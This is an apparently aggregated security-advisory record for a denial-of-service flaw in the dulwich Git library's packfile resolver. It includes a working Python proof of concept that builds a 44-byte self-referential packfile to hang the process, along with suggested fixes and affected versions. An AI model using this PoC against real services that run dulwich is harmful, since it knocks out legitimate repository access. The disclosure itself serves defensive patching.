{"schema":"threatline.record/2","record":{"id":"GHSA-35mr-4567-66vg","aliases":["CVE-2026-114095","GHSA-35mr-4567-66vg"],"summary":"Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution","details":"### Affected file\n* `dulwich/pack.py` (Method: `Pack.resolve_object`)\n\n### Description / Summary\nA High-severity Denial of Service (DoS) vulnerability exists in the `Pack.resolve_object` method. When resolving an `OFS_DELTA` object, the resolver calculates the base offset using `base_offset = obj_offset - delta_offset`.\n\nIf a malicious packfile contains an `OFS_DELTA` object where `delta_offset` is `0`, the calculation `obj_offset - 0` resolves back to the current object's own offset. Because the implementation lacks a depth counter, a \"visited\" set, or an explicit rejection of `delta_offset == 0`, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.\n\n**Vulnerable Code Breakdown (`dulwich/pack.py`):**\n```python\nelif obj_type == OFS_DELTA:\n    delta_offset = parse_pack_object_offset_at(...)\n    base_offset = obj_offset - delta_offset          # VULNERABILITY: Self-reference if delta_offset == 0\n    base_type, base_data = self.resolve_object(...)  # VULNERABILITY: Infinite recursion\n```\n\n### Potential impact\n\nAn attacker can trigger this infinite loop via any operation that walks packfiles (e.g., `dulwich clone`, `fetch`, `cat-file`, or internal `Pack.__getitem__` lookups). \n\n1. **CPU Exhaustion:** The process will spin at 100% CPU indefinitely.\n2. **Denial of Service:** Any service using `dulwich` (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.\n3. **Protocol Incompatibility:** This behavior violates the Git packfile specification. The standard `git` C client explicitly guards against this: `if (!base_offset) die(\"delta offset == 0 is invalid\");`.\n\n### POC (Proof of Concept)\nThe following Python script generates a 44-byte packfile that triggers the loop:\n\n```python\nfrom dulwich.pack import Pack\nimport struct, zlib, tempfile, os\n\n# Build a single OFS_DELTA entry whose delta_offset is 0\ntype_ofs_delta = 6\nheader = bytes([(type_ofs_delta << 4) | 0])\nofs_bytes = bytes([0x00]) # delta_offset = 0\nbody = zlib.compress(b'')\nraw = header + ofs_bytes + body\n\npack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\\x00' * 20)\n\nfd, path = tempfile.mkstemp(suffix='.pack')\nos.write(fd, pack); os.close(fd)\n\n# Trigger: This call never returns and spins at 100% CPU\np = Pack(path)\nobj = p[list(p.iterobjects())[0]]\n```\n\n### Possible solution\n1. **Explicit Guard:** Add a check in `Pack.resolve_object` to reject `delta_offset == 0`:\n   ```python\n   if delta_offset == 0:\n       raise CorruptPacksFile(\"OFS_DELTA has self-referential delta_offset=0\")\n   ```\n2. **Recursion Depth:** Implement a depth limit (e.g., `MAX_DELTA_DEPTH = 50`) to prevent long, non-looping chains of deltas (OFS or REF).","categories":["Libraries & packages"],"product":"dulwich","vendor":"","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-35mr-4567-66vg","source_modified_at":"2026-10-02T18:54:40Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"dulwich"},"range":"< 1.2.9"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-35mr-4567-66vg","source_modified_at":"2026-10-21T10:57:26.261763776Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"name":"dulwich","ecosystem":"PyPI","purl":"pkg:pypi/dulwich"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.9"}]}],"versions":["0.0.1","0.1.0","0.1.1","0.10.0","0.10.1a","0.11.0","0.11.1","0.11.2","0.12.0","0.13.0","0.14.0","0.14.1","0.15.0","0.16.0","0.16.1","0.16.2","0.16.3","0.17.1","0.17.2","0.17.3","0.18.0","0.18.1","0.18.2","0.18.3","0.18.4","0.18.5","0.18.6","0.19.0","0.19.1","0.19.10","0.19.11","0.19.12","0.19.13","0.19.14","0.19.15","0.19.16","0.19.2","0.19.3","0.19.3a0","0.19.4","0.19.5","0.19.6","0.19.7","0.19.8","0.19.9","0.2.1","0.20.0","0.20.1","0.20.10","0.20.11"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-35mr-4567-66vg","source_modified_at":"2026-10-02T18:54:40Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"dulwich"},"version":"1.2.9"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-35mr-4567-66vg","source_modified_at":"2026-10-21T10:57:26.261763776Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"name":"dulwich","ecosystem":"PyPI","purl":"pkg:pypi/dulwich"},"version":"1.2.9"}],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-02T18:54:39Z","modified_at":"2026-10-21T10:57:26.261763776Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-35mr-4567-66vg","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-02T18:54:40Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-35mr-4567-66vg","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-21T10:57:26.261763776Z"}],"sources":["GitHub Advisory Database","OSV"],"references":[{"url":"https://github.com/jelmer/dulwich/security/advisories/GHSA-35mr-4567-66vg","source":"GitHub Advisory Database"},{"url":"https://github.com/jelmer/dulwich/commit/d06ffc3e1aff0ea0a32094debead891be0083eb7","source":"GitHub Advisory Database"},{"url":"https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.9","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-35mr-4567-66vg","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-21T10:57:26.261763776Z","content_hash":"d45e7a7ad5b8b78ded49a02acd6a56b97a833f1a6d0b54049a2d0900f7ef5970"}}
